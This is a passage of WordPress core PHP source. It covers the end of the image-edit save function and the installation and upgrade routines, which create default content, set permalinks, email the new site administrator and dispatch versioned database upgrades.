	$return  = new stdClass();
	$success = false;
	$delete  = false;
	$scaled  = false;
	$nocrop  = false;
	$post    = get_post( $post_id );

	$img = wp_get_image_editor( _load_image_to_edit_path( $post_id, 'full' ) );

	if ( is_wp_error( $img ) ) {
		$return->error = esc_js( __( 'Unable to create new image.' ) );
		return $return;
	}

	$full_width  = ! empty( $_REQUEST['fwidth'] ) ? (int) $_REQUEST['fwidth'] : 0;
	$full_height = ! empty( $_REQUEST['fheight'] ) ? (int) $_REQUEST['fheight'] : 0;
	$target      = ! empty( $_REQUEST['target'] ) ? preg_replace( '/[^a-z0-9_-]+/i', '', $_REQUEST['target'] ) : '';
	$scale       = ! empty( $_REQUEST['do'] ) && 'scale' === $_REQUEST['do'];

	/** This filter is documented in wp-admin/includes/image-edit.php */
	$edit_thumbnails_separately = (bool) apply_filters( 'image_edit_thumbnails_separately', false );

	if ( $scale ) {
		$size            = $img->get_size();
		$original_width  = $size['width'];
		$original_height = $size['height'];

		if ( $full_width > $original_width || $full_height > $original_height ) {
			$return->error = esc_js( __( 'Images cannot be scaled to a size larger than the original.' ) );
			return $return;
		}

		if ( $full_width > 0 && $full_height > 0 ) {
			// Check if it has roughly the same w / h ratio.
			$diff = round( $original_width / $original_height, 2 ) - round( $full_width / $full_height, 2 );
			if ( -0.1 < $diff && $diff < 0.1 ) {
				// Scale the full size image.
				if ( $img->resize( $full_width, $full_height ) ) {
					$scaled = true;
				}
			}

			if ( ! $scaled ) {
				$return->error = esc_js( __( 'Error while saving the scaled image. Please reload the page and try again.' ) );
				return $return;
			}
		}
	} elseif ( ! empty( $_REQUEST['history'] ) ) {
		$changes = json_decode( wp_unslash( $_REQUEST['history'] ) );
		if ( $changes ) {
			$img = image_edit_apply_changes( $img, $changes );
		}
	} else {
		$return->error = esc_js( __( 'Nothing to save, the image has not changed.' ) );
		return $return;
	}

	$meta         = wp_get_attachment_metadata( $post_id );
	$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );

	if ( ! is_array( $meta ) ) {
		$return->error = esc_js( __( 'Image data does not exist. Please re-upload the image.' ) );
		return $return;
	}

	if ( ! is_array( $backup_sizes ) ) {
		$backup_sizes = array();
	}

	// Generate new filename.
	$path = get_attached_file( $post_id );

	$basename = pathinfo( $path, PATHINFO_BASENAME );
	$dirname  = pathinfo( $path, PATHINFO_DIRNAME );
	$ext      = pathinfo( $path, PATHINFO_EXTENSION );
	$filename = pathinfo( $path, PATHINFO_FILENAME );
	$suffix   = time() . rand( 100, 999 );

	if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE
		&& isset( $backup_sizes['full-orig'] ) && $backup_sizes['full-orig']['file'] !== $basename
	) {

		if ( $edit_thumbnails_separately && 'thumbnail' === $target ) {
			$new_path = "{$dirname}/{$filename}-temp.{$ext}";
		} else {
			$new_path = $path;
		}
	} else {
		while ( true ) {
			$filename     = preg_replace( '/-e([0-9]+)$/', '', $filename );
			$filename    .= "-e{$suffix}";
			$new_filename = "{$filename}.{$ext}";
			$new_path     = "{$dirname}/$new_filename";

			if ( file_exists( $new_path ) ) {
				++$suffix;
			} else {
				break;
			}
		}
	}

	// Save the full-size file, also needed to create sub-sizes.
	if ( ! wp_save_image_file( $new_path, $img, $post->post_mime_type, $post_id ) ) {
		$return->error = esc_js( __( 'Unable to save the image.' ) );
		return $return;
	}

	if ( 'nothumb' === $target || 'all' === $target || 'full' === $target || $scaled ) {
		$tag = false;

		if ( isset( $backup_sizes['full-orig'] ) ) {
			if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE )
				&& $backup_sizes['full-orig']['file'] !== $basename
			) {
				$tag = "full-$suffix";
			}
		} else {
			$tag = 'full-orig';
		}

		if ( $tag ) {
			$backup_sizes[ $tag ] = array(
				'width'  => $meta['width'],
				'height' => $meta['height'],
				'file'   => $basename,
			);
		}

		$success = ( $path === $new_path ) || update_attached_file( $post_id, $new_path );

		$meta['file'] = _wp_relative_upload_path( $new_path );

		$size           = $img->get_size();
		$meta['width']  = $size['width'];
		$meta['height'] = $size['height'];

		if ( $success && ( 'nothumb' === $target || 'all' === $target ) ) {
			$sizes = get_intermediate_image_sizes();

			if ( $edit_thumbnails_separately && 'nothumb' === $target ) {
				$sizes = array_diff( $sizes, array( 'thumbnail' ) );
			}
		}

		$return->fw = $meta['width'];
		$return->fh = $meta['height'];
	} elseif ( $edit_thumbnails_separately && 'thumbnail' === $target ) {
		$sizes   = array( 'thumbnail' );
		$success = true;
		$delete  = true;
		$nocrop  = true;
	}

	/*
	 * We need to remove any existing resized image files because
	 * a new crop or rotate could generate different sizes (and hence, filenames),
	 * keeping the new resized images from overwriting the existing image files.
	 * https://core.trac.wordpress.org/ticket/32171
	 */
	if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE && ! empty( $meta['sizes'] ) ) {
		foreach ( $meta['sizes'] as $size ) {
			if ( ! empty( $size['file'] ) && preg_match( '/-e[0-9]{13}-/', $size['file'] ) ) {
				$delete_file = path_join( $dirname, $size['file'] );
				wp_delete_file( $delete_file );
			}
		}
	}

	if ( isset( $sizes ) ) {
		$_sizes = array();

		foreach ( $sizes as $size ) {
			$tag = false;

			if ( isset( $meta['sizes'][ $size ] ) ) {
				if ( isset( $backup_sizes[ "$size-orig" ] ) ) {
					if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE )
						&& $backup_sizes[ "$size-orig" ]['file'] !== $meta['sizes'][ $size ]['file']
					) {
						$tag = "$size-$suffix";
					}
				} else {
					$tag = "$size-orig";
				}

				if ( $tag ) {
					$backup_sizes[ $tag ] = $meta['sizes'][ $size ];
				}
			}

			if ( isset( $_wp_additional_image_sizes[ $size ] ) ) {
				$width  = (int) $_wp_additional_image_sizes[ $size ]['width'];
				$height = (int) $_wp_additional_image_sizes[ $size ]['height'];
				$crop   = ( $nocrop ) ? false : $_wp_additional_image_sizes[ $size ]['crop'];
			} else {
				$height = get_option( "{$size}_size_h" );
				$width  = get_option( "{$size}_size_w" );
				$crop   = ( $nocrop ) ? false : get_option( "{$size}_crop" );
			}

			$_sizes[ $size ] = array(
				'width'  => $width,
				'height' => $height,
				'crop'   => $crop,
			);
		}

		$meta['sizes'] = array_merge( $meta['sizes'], $img->multi_resize( $_sizes ) );
	}

	unset( $img );

	if ( $success ) {
		wp_update_attachment_metadata( $post_id, $meta );
		update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes );

		if ( 'thumbnail' === $target || 'all' === $target || 'full' === $target ) {
			// Check if it's an image edit from attachment edit screen.
			if ( ! empty( $_REQUEST['context'] ) && 'edit-attachment' === $_REQUEST['context'] ) {
				$thumb_url = wp_get_attachment_image_src( $post_id, array( 900, 600 ), true );

				$return->thumbnail = $thumb_url[0];
			} else {
				$file_url = wp_get_attachment_url( $post_id );

				if ( ! empty( $meta['sizes']['thumbnail'] ) ) {
					$thumb             = $meta['sizes']['thumbnail'];
					$return->thumbnail = path_join( dirname( $file_url ), $thumb['file'] );
				} else {
					$return->thumbnail = "$file_url?w=128&h=128";
				}
			}
		}
	} else {
		$delete = true;
	}

	if ( $delete ) {
		wp_delete_file( $new_path );
	}

	$return->msg = esc_js( __( 'Image saved' ) );

	return $return;
}
<?php
/**
 * WordPress Upgrade API
 *
 * Most of the functions are pluggable and can be overwritten.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Include user installation customization script. */
if ( file_exists( WP_CONTENT_DIR . '/install.php' ) ) {
	require WP_CONTENT_DIR . '/install.php';
}

/** WordPress Administration API */
require_once ABSPATH . 'wp-admin/includes/admin.php';

/** WordPress Schema API */
require_once ABSPATH . 'wp-admin/includes/schema.php';

if ( ! function_exists( 'wp_install' ) ) :
	/**
	 * Installs the site.
	 *
	 * Runs the required functions to set up and populate the database,
	 * including primary admin user and initial options.
	 *
	 * @since 2.1.0
	 *
	 * @param string $blog_title    Site title.
	 * @param string $user_name     User's username.
	 * @param string $user_email    User's email.
	 * @param bool   $is_public     Whether the site is public.
	 * @param string $deprecated    Optional. Not used.
	 * @param string $user_password Optional. User's chosen password. Default empty (random password).
	 * @param string $language      Optional. Language chosen. Default empty.
	 * @return array {
	 *     Data for the newly installed site.
	 *
	 *     @type string $url              The URL of the site.
	 *     @type int    $user_id          The ID of the site owner.
	 *     @type string $password         The password of the site owner, if their user account didn't already exist.
	 *     @type string $password_message The explanatory message regarding the password.
	 * }
	 */
	function wp_install( $blog_title, $user_name, $user_email, $is_public, $deprecated = '', $user_password = '', $language = '' ) {
		if ( ! empty( $deprecated ) ) {
			_deprecated_argument( __FUNCTION__, '2.6.0' );
		}

		wp_check_mysql_version();
		wp_cache_flush();
		make_db_current_silent();
		populate_options();
		populate_roles();

		update_option( 'blogname', $blog_title );
		update_option( 'admin_email', $user_email );
		update_option( 'blog_public', $is_public );

		// Freshness of site - in the future, this could get more specific about actions taken, perhaps.
		update_option( 'fresh_site', 1 );

		if ( $language ) {
			update_option( 'WPLANG', $language );
		}

		$guessurl = wp_guess_url();

		update_option( 'siteurl', $guessurl );

		// If not a public site, don't ping.
		if ( ! $is_public ) {
			update_option( 'default_pingback_flag', 0 );
		}

		/*
		 * Create default user. If the user already exists, the user tables are
		 * being shared among sites. Just set the role in that case.
		 */
		$user_id        = username_exists( $user_name );
		$user_password  = trim( $user_password );
		$email_password = false;
		$user_created   = false;

		if ( ! $user_id && empty( $user_password ) ) {
			$user_password = wp_generate_password( 12, false );
			$message       = __( '<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.' );
			$user_id       = wp_create_user( $user_name, $user_password, $user_email );
			update_user_meta( $user_id, 'default_password_nag', true );
			$email_password = true;
			$user_created   = true;
		} elseif ( ! $user_id ) {
			// Password has been provided.
			$message      = '<em>' . __( 'Your chosen password.' ) . '</em>';
			$user_id      = wp_create_user( $user_name, $user_password, $user_email );
			$user_created = true;
		} else {
			$message = __( 'User already exists. Password inherited.' );
		}

		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );

		if ( $user_created ) {
			$user->user_url = $guessurl;
			wp_update_user( $user );
		}

		wp_install_defaults( $user_id );

		wp_install_maybe_enable_pretty_permalinks();

		flush_rewrite_rules();

		wp_new_blog_notification( $blog_title, $guessurl, $user_id, ( $email_password ? $user_password : __( 'The password you chose during installation.' ) ) );

		wp_cache_flush();

		/**
		 * Fires after a site is fully installed.
		 *
		 * @since 3.9.0
		 *
		 * @param WP_User $user The site owner.
		 */
		do_action( 'wp_install', $user );

		return array(
			'url'              => $guessurl,
			'user_id'          => $user_id,
			'password'         => $user_password,
			'password_message' => $message,
		);
	}
endif;

if ( ! function_exists( 'wp_install_defaults' ) ) :
	/**
	 * Creates the initial content for a newly-installed site.
	 *
	 * Adds the default "Uncategorized" category, the first post (with comment),
	 * first page, and default widgets for default theme for the current version.
	 *
	 * @since 2.1.0
	 *
	 * @global wpdb       $wpdb         WordPress database abstraction object.
	 * @global WP_Rewrite $wp_rewrite   WordPress rewrite component.
	 * @global string     $table_prefix
	 *
	 * @param int $user_id User ID.
	 */
	function wp_install_defaults( $user_id ) {
		global $wpdb, $wp_rewrite, $table_prefix;

		// Default category.
		$cat_name = __( 'Uncategorized' );
		/* translators: Default category slug. */
		$cat_slug = sanitize_title( _x( 'Uncategorized', 'Default category slug' ) );

		$cat_id = 1;

		$wpdb->insert(
			$wpdb->terms,
			array(
				'term_id'    => $cat_id,
				'name'       => $cat_name,
				'slug'       => $cat_slug,
				'term_group' => 0,
			)
		);
		$wpdb->insert(
			$wpdb->term_taxonomy,
			array(
				'term_id'     => $cat_id,
				'taxonomy'    => 'category',
				'description' => '',
				'parent'      => 0,
				'count'       => 1,
			)
		);
		$cat_tt_id = $wpdb->insert_id;

		// First post.
		$now             = current_time( 'mysql' );
		$now_gmt         = current_time( 'mysql', 1 );
		$first_post_guid = get_option( 'home' ) . '/?p=1';

		if ( is_multisite() ) {
			$first_post = get_site_option( 'first_post' );

			if ( ! $first_post ) {
				$first_post = "<!-- wp:paragraph -->\n<p>" .
				/* translators: First post content. %s: Site link. */
				__( 'Welcome to %s. This is your first post. Edit or delete it, then start writing!' ) .
				"</p>\n<!-- /wp:paragraph -->";
			}

			$first_post = sprintf(
				$first_post,
				sprintf( '<a href="%s">%s</a>', esc_url( network_home_url() ), get_network()->site_name )
			);

			// Back-compat for pre-4.4.
			$first_post = str_replace( 'SITE_URL', esc_url( network_home_url() ), $first_post );
			$first_post = str_replace( 'SITE_NAME', get_network()->site_name, $first_post );
		} else {
			$first_post = "<!-- wp:paragraph -->\n<p>" .
			/* translators: First post content. %s: Site link. */
			__( 'Welcome to WordPress. This is your first post. Edit or delete it, then start writing!' ) .
			"</p>\n<!-- /wp:paragraph -->";
		}

		$wpdb->insert(
			$wpdb->posts,
			array(
				'post_author'           => $user_id,
				'post_date'             => $now,
				'post_date_gmt'         => $now_gmt,
				'post_content'          => $first_post,
				'post_excerpt'          => '',
				'post_title'            => __( 'Hello world!' ),
				/* translators: Default post slug. */
				'post_name'             => sanitize_title( _x( 'hello-world', 'Default post slug' ) ),
				'post_modified'         => $now,
				'post_modified_gmt'     => $now_gmt,
				'guid'                  => $first_post_guid,
				'comment_count'         => 1,
				'to_ping'               => '',
				'pinged'                => '',
				'post_content_filtered' => '',
			)
		);

		if ( is_multisite() ) {
			update_posts_count();
		}

		$wpdb->insert(
			$wpdb->term_relationships,
			array(
				'term_taxonomy_id' => $cat_tt_id,
				'object_id'        => 1,
			)
		);

		// Default comment.
		if ( is_multisite() ) {
			$first_comment_author = get_site_option( 'first_comment_author' );
			$first_comment_email  = get_site_option( 'first_comment_email' );
			$first_comment_url    = get_site_option( 'first_comment_url', network_home_url() );
			$first_comment        = get_site_option( 'first_comment' );
		}

		$first_comment_author = ! empty( $first_comment_author ) ? $first_comment_author : __( 'A WordPress Commenter' );
		$first_comment_email  = ! empty( $first_comment_email ) ? $first_comment_email : 'wapuu@wordpress.example';
		$first_comment_url    = ! empty( $first_comment_url ) ? $first_comment_url : esc_url( __( 'https://wordpress.org/' ) );
		$first_comment        = ! empty( $first_comment ) ? $first_comment : sprintf(
			/* translators: %s: Gravatar URL. */
			__(
				'Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from <a href="%s">Gravatar</a>.'
			),
			esc_url( __( 'https://en.gravatar.com/' ) )
		);
		$wpdb->insert(
			$wpdb->comments,
			array(
				'comment_post_ID'      => 1,
				'comment_author'       => $first_comment_author,
				'comment_author_email' => $first_comment_email,
				'comment_author_url'   => $first_comment_url,
				'comment_date'         => $now,
				'comment_date_gmt'     => $now_gmt,
				'comment_content'      => $first_comment,
				'comment_type'         => 'comment',
			)
		);

		// First page.
		if ( is_multisite() ) {
			$first_page = get_site_option( 'first_page' );
		}

		if ( empty( $first_page ) ) {
			$first_page = "<!-- wp:paragraph -->\n<p>";
			/* translators: First page content. */
			$first_page .= __( "This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:" );
			$first_page .= "</p>\n<!-- /wp:paragraph -->\n\n";

			$first_page .= "<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>";
			/* translators: First page content. */
			$first_page .= __( "Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my website. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)" );
			$first_page .= "</p></blockquote>\n<!-- /wp:quote -->\n\n";

			$first_page .= "<!-- wp:paragraph -->\n<p>";
			/* translators: First page content. */
			$first_page .= __( '...or something like this:' );
			$first_page .= "</p>\n<!-- /wp:paragraph -->\n\n";

			$first_page .= "<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>";
			/* translators: First page content. */
			$first_page .= __( 'The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.' );
			$first_page .= "</p></blockquote>\n<!-- /wp:quote -->\n\n";

			$first_page .= "<!-- wp:paragraph -->\n<p>";
			$first_page .= sprintf(
				/* translators: First page content. %s: Site admin URL. */
				__( 'As a new WordPress user, you should go to <a href="%s">your dashboard</a> to delete this page and create new pages for your content. Have fun!' ),
				admin_url()
			);
			$first_page .= "</p>\n<!-- /wp:paragraph -->";
		}

		$first_post_guid = get_option( 'home' ) . '/?page_id=2';
		$wpdb->insert(
			$wpdb->posts,
			array(
				'post_author'           => $user_id,
				'post_date'             => $now,
				'post_date_gmt'         => $now_gmt,
				'post_content'          => $first_page,
				'post_excerpt'          => '',
				'comment_status'        => 'closed',
				'post_title'            => __( 'Sample Page' ),
				/* translators: Default page slug. */
				'post_name'             => __( 'sample-page' ),
				'post_modified'         => $now,
				'post_modified_gmt'     => $now_gmt,
				'guid'                  => $first_post_guid,
				'post_type'             => 'page',
				'to_ping'               => '',
				'pinged'                => '',
				'post_content_filtered' => '',
			)
		);
		$wpdb->insert(
			$wpdb->postmeta,
			array(
				'post_id'    => 2,
				'meta_key'   => '_wp_page_template',
				'meta_value' => 'default',
			)
		);

		// Privacy Policy page.
		if ( is_multisite() ) {
			// Disable by default unless the suggested content is provided.
			$privacy_policy_content = get_site_option( 'default_privacy_policy_content' );
		} else {
			if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
				require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
			}

			$privacy_policy_content = WP_Privacy_Policy_Content::get_default_content();
		}

		if ( ! empty( $privacy_policy_content ) ) {
			$privacy_policy_guid = get_option( 'home' ) . '/?page_id=3';

			$wpdb->insert(
				$wpdb->posts,
				array(
					'post_author'           => $user_id,
					'post_date'             => $now,
					'post_date_gmt'         => $now_gmt,
					'post_content'          => $privacy_policy_content,
					'post_excerpt'          => '',
					'comment_status'        => 'closed',
					'post_title'            => __( 'Privacy Policy' ),
					/* translators: Privacy Policy page slug. */
					'post_name'             => __( 'privacy-policy' ),
					'post_modified'         => $now,
					'post_modified_gmt'     => $now_gmt,
					'guid'                  => $privacy_policy_guid,
					'post_type'             => 'page',
					'post_status'           => 'draft',
					'to_ping'               => '',
					'pinged'                => '',
					'post_content_filtered' => '',
				)
			);
			$wpdb->insert(
				$wpdb->postmeta,
				array(
					'post_id'    => 3,
					'meta_key'   => '_wp_page_template',
					'meta_value' => 'default',
				)
			);
			update_option( 'wp_page_for_privacy_policy', 3 );
		}

		// Set up default widgets for default theme.
		update_option(
			'widget_block',
			array(
				2              => array( 'content' => '<!-- wp:search /-->' ),
				3              => array( 'content' => '<!-- wp:group --><div class="wp-block-group"><!-- wp:heading --><h2>' . __( 'Recent Posts' ) . '</h2><!-- /wp:heading --><!-- wp:latest-posts /--></div><!-- /wp:group -->' ),
				4              => array( 'content' => '<!-- wp:group --><div class="wp-block-group"><!-- wp:heading --><h2>' . __( 'Recent Comments' ) . '</h2><!-- /wp:heading --><!-- wp:latest-comments {"displayAvatar":false,"displayDate":false,"displayExcerpt":false} /--></div><!-- /wp:group -->' ),
				5              => array( 'content' => '<!-- wp:group --><div class="wp-block-group"><!-- wp:heading --><h2>' . __( 'Archives' ) . '</h2><!-- /wp:heading --><!-- wp:archives /--></div><!-- /wp:group -->' ),
				6              => array( 'content' => '<!-- wp:group --><div class="wp-block-group"><!-- wp:heading --><h2>' . __( 'Categories' ) . '</h2><!-- /wp:heading --><!-- wp:categories /--></div><!-- /wp:group -->' ),
				'_multiwidget' => 1,
			)
		);
		update_option(
			'sidebars_widgets',
			array(
				'wp_inactive_widgets' => array(),
				'sidebar-1'           => array(
					0 => 'block-2',
					1 => 'block-3',
					2 => 'block-4',
				),
				'sidebar-2'           => array(
					0 => 'block-5',
					1 => 'block-6',
				),
				'array_version'       => 3,
			)
		);

		if ( ! is_multisite() ) {
			update_user_meta( $user_id, 'show_welcome_panel', 1 );
		} elseif ( ! is_super_admin( $user_id ) && ! metadata_exists( 'user', $user_id, 'show_welcome_panel' ) ) {
			update_user_meta( $user_id, 'show_welcome_panel', 2 );
		}

		if ( is_multisite() ) {
			// Flush rules to pick up the new page.
			$wp_rewrite->init();
			$wp_rewrite->flush_rules();

			$user = new WP_User( $user_id );
			$wpdb->update( $wpdb->options, array( 'option_value' => $user->user_email ), array( 'option_name' => 'admin_email' ) );

			// Remove all perms except for the login user.
			$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix . 'user_level' ) );
			$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix . 'capabilities' ) );

			/*
			 * Delete any caps that snuck into the previously active blog. (Hardcoded to blog 1 for now.)
			 * TODO: Get previous_blog_id.
			 */
			if ( ! is_super_admin( $user_id ) && 1 != $user_id ) {
				$wpdb->delete(
					$wpdb->usermeta,
					array(
						'user_id'  => $user_id,
						'meta_key' => $wpdb->base_prefix . '1_capabilities',
					)
				);
			}
		}
	}
endif;

/**
 * Maybe enable pretty permalinks on installation.
 *
 * If after enabling pretty permalinks don't work, fallback to query-string permalinks.
 *
 * @since 4.2.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool Whether pretty permalinks are enabled. False otherwise.
 */
function wp_install_maybe_enable_pretty_permalinks() {
	global $wp_rewrite;

	// Bail if a permalink structure is already enabled.
	if ( get_option( 'permalink_structure' ) ) {
		return true;
	}

	/*
	 * The Permalink structures to attempt.
	 *
	 * The first is designed for mod_rewrite or nginx rewriting.
	 *
	 * The second is PATHINFO-based permalinks for web server configurations
	 * without a true rewrite module enabled.
	 */
	$permalink_structures = array(
		'/%year%/%monthnum%/%day%/%postname%/',
		'/index.php/%year%/%monthnum%/%day%/%postname%/',
	);

	foreach ( (array) $permalink_structures as $permalink_structure ) {
		$wp_rewrite->set_permalink_structure( $permalink_structure );

		/*
		 * Flush rules with the hard option to force refresh of the web-server's
		 * rewrite config file (e.g. .htaccess or web.config).
		 */
		$wp_rewrite->flush_rules( true );

		$test_url = '';

		// Test against a real WordPress post.
		$first_post = get_page_by_path( sanitize_title( _x( 'hello-world', 'Default post slug' ) ), OBJECT, 'post' );
		if ( $first_post ) {
			$test_url = get_permalink( $first_post->ID );
		}

		/*
		 * Send a request to the site, and check whether
		 * the 'X-Pingback' header is returned as expected.
		 *
		 * Uses wp_remote_get() instead of wp_remote_head() because web servers
		 * can block head requests.
		 */
		$response          = wp_remote_get( $test_url, array( 'timeout' => 5 ) );
		$x_pingback_header = wp_remote_retrieve_header( $response, 'X-Pingback' );
		$pretty_permalinks = $x_pingback_header && get_bloginfo( 'pingback_url' ) === $x_pingback_header;

		if ( $pretty_permalinks ) {
			return true;
		}
	}

	/*
	 * If it makes it this far, pretty permalinks failed.
	 * Fallback to query-string permalinks.
	 */
	$wp_rewrite->set_permalink_structure( '' );
	$wp_rewrite->flush_rules( true );

	return false;
}

if ( ! function_exists( 'wp_new_blog_notification' ) ) :
	/**
	 * Notifies the site admin that the installation of WordPress is complete.
	 *
	 * Sends an email to the new administrator that the installation is complete
	 * and provides them with a record of their login credentials.
	 *
	 * @since 2.1.0
	 *
	 * @param string $blog_title Site title.
	 * @param string $blog_url   Site URL.
	 * @param int    $user_id    Administrator's user ID.
	 * @param string $password   Administrator's password. Note that a placeholder message is
	 *                           usually passed instead of the actual password.
	 */
	function wp_new_blog_notification( $blog_title, $blog_url, $user_id, $password ) {
		$user      = new WP_User( $user_id );
		$email     = $user->user_email;
		$name      = $user->user_login;
		$login_url = wp_login_url();

		$message = sprintf(
			/* translators: New site notification email. 1: New site URL, 2: User login, 3: User password or password reset link, 4: Login URL. */
			__(
				'Your new WordPress site has been successfully set up at:

%1$s

You can log in to the administrator account with the following information:

Username: %2$s
Password: %3$s
Log in here: %4$s

We hope you enjoy your new site. Thanks!

--The WordPress Team
https://wordpress.org/
'
			),
			$blog_url,
			$name,
			$password,
			$login_url
		);

		$installed_email = array(
			'to'      => $email,
			'subject' => __( 'New WordPress Site' ),
			'message' => $message,
			'headers' => '',
		);

		/**
		 * Filters the contents of the email sent to the site administrator when WordPress is installed.
		 *
		 * @since 5.6.0
		 *
		 * @param array $installed_email {
		 *     Used to build wp_mail().
		 *
		 *     @type string $to      The email address of the recipient.
		 *     @type string $subject The subject of the email.
		 *     @type string $message The content of the email.
		 *     @type string $headers Headers.
		 * }
		 * @param WP_User $user          The site administrator user object.
		 * @param string  $blog_title    The site title.
		 * @param string  $blog_url      The site URL.
		 * @param string  $password      The site administrator's password. Note that a placeholder message
		 *                               is usually passed instead of the user's actual password.
		 */
		$installed_email = apply_filters( 'wp_installed_email', $installed_email, $user, $blog_title, $blog_url, $password );

		wp_mail(
			$installed_email['to'],
			$installed_email['subject'],
			$installed_email['message'],
			$installed_email['headers']
		);
	}
endif;

if ( ! function_exists( 'wp_upgrade' ) ) :
	/**
	 * Runs WordPress Upgrade functions.
	 *
	 * Upgrades the database if needed during a site update.
	 *
	 * @since 2.1.0
	 *
	 * @global int  $wp_current_db_version The old (current) database version.
	 * @global int  $wp_db_version         The new database version.
	 */
	function wp_upgrade() {
		global $wp_current_db_version, $wp_db_version;

		$wp_current_db_version = __get_option( 'db_version' );

		// We are up to date. Nothing to do.
		if ( $wp_db_version == $wp_current_db_version ) {
			return;
		}

		if ( ! is_blog_installed() ) {
			return;
		}

		wp_check_mysql_version();
		wp_cache_flush();
		pre_schema_upgrade();
		make_db_current_silent();
		upgrade_all();
		if ( is_multisite() && is_main_site() ) {
			upgrade_network();
		}
		wp_cache_flush();

		if ( is_multisite() ) {
			update_site_meta( get_current_blog_id(), 'db_version', $wp_db_version );
			update_site_meta( get_current_blog_id(), 'db_last_updated', microtime() );
		}

		delete_transient( 'wp_core_block_css_files' );

		/**
		 * Fires after a site is fully upgraded.
		 *
		 * @since 3.9.0
		 *
		 * @param int $wp_db_version         The new $wp_db_version.
		 * @param int $wp_current_db_version The old (current) $wp_db_version.
		 */
		do_action( 'wp_upgrade', $wp_db_version, $wp_current_db_version );
	}
endif;

/**
 * Functions to be called in installation and upgrade scripts.
 *
 * Contains conditional checks to determine which upgrade scripts to run,
 * based on database version and WP version being updated-to.
 *
 * @ignore
 * @since 1.0.1
 *
 * @global int $wp_current_db_version The old (current) database version.
 * @global int $wp_db_version         The new database version.
 */
function upgrade_all() {
	global $wp_current_db_version, $wp_db_version;

	$wp_current_db_version = __get_option( 'db_version' );

	// We are up to date. Nothing to do.
	if ( $wp_db_version == $wp_current_db_version ) {
		return;
	}

	// If the version is not set in the DB, try to guess the version.
	if ( empty( $wp_current_db_version ) ) {
		$wp_current_db_version = 0;

		// If the template option exists, we have 1.5.
		$template = __get_option( 'template' );
		if ( ! empty( $template ) ) {
			$wp_current_db_version = 2541;
		}
	}

	if ( $wp_current_db_version < 6039 ) {
		upgrade_230_options_table();
	}

	populate_options();

	if ( $wp_current_db_version < 2541 ) {
		upgrade_100();
		upgrade_101();
		upgrade_110();
		upgrade_130();
	}

	if ( $wp_current_db_version < 3308 ) {
		upgrade_160();
	}

	if ( $wp_current_db_version < 4772 ) {
		upgrade_210();
	}

	if ( $wp_current_db_version < 4351 ) {
		upgrade_old_slugs();
	}

	if ( $wp_current_db_version < 5539 ) {
		upgrade_230();
	}

	if ( $wp_current_db_version < 6124 ) {
		upgrade_230_old_tables();
	}

	if ( $wp_current_db_version < 7499 ) {
		upgrade_250();
	}

	if ( $wp_current_db_version < 7935 ) {
		upgrade_252();
	}

	if ( $wp_current_db_version < 8201 ) {
		upgrade_260();
	}

	if ( $wp_current_db_version < 8989 ) {
		upgrade_270();
	}

	if ( $wp_current_db_version < 10360 ) {
		upgrade_280();
	}

	if ( $wp_current_db_version < 11958 ) {
		upgrade_290();
	}

	if ( $wp_current_db_version < 15260 ) {
		upgrade_300();
	}

	if ( $wp_current_db_version < 19389 ) {
		upgrade_330();
	}

	if ( $wp_current_db_version < 20080 ) {
		upgrade_340();
	}

	if ( $wp_current_db_version < 22422 ) {
		upgrade_350();
	}

	if ( $wp_current_db_version < 25824 ) {
		upgrade_370();
	}

	if ( $wp_current_db_version < 26148 ) {
		upgrade_372();
	}

	if ( $wp_current_db_version < 26691 ) {
		upgrade_380();
	}

	if ( $wp_current_db_version < 29630 ) {
		upgrade_400();
	}

	if ( $wp_current_db_version < 33055 ) {
		upgrade_430();
	}

	if ( $wp_current_db_version < 33056 ) {
		upgrade_431();
	}

	if ( $wp_current_db_version < 35700 ) {
		upgrade_440();
	}

	if ( $wp_current_db_version < 36686 ) {
		upgrade_450();
	}

	if ( $wp_current_db_version < 37965 ) {
		upgrade_460();
	}

	if ( $wp_current_db_version < 44719 ) {
		upgrade_510();
	}

	if ( $wp_current_db_version < 45744 ) {
		upgrade_530();
	}

	if ( $wp_current_db_version < 48575 ) {
		upgrade_550();
	}

	if ( $wp_current_db_version < 49752 ) {
		upgrade_560();
	}

	if ( $wp_current_db_version < 51917 ) {
		upgrade_590();
	}

	if ( $wp_current_db_version < 53011 ) {
		upgrade_600();
	}

	if ( $wp_current_db_version < 55853 ) {
		upgrade_630();
	}

	if ( $wp_current_db_version < 56657 ) {
		upgrade_640();
	}

	if ( $wp_current_db_version < 57155 ) {
		upgrade_650();
	}

	maybe_disable_link_manager();

	maybe_disable_automattic_widgets();

	update_option( 'db_version', $wp_db_version );
	update_option( 'db_upgraded', true );
}

/**
 * Execute changes made in WordPress 1.0.
 *
 * @ignore
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_100() {
	global $wpdb;

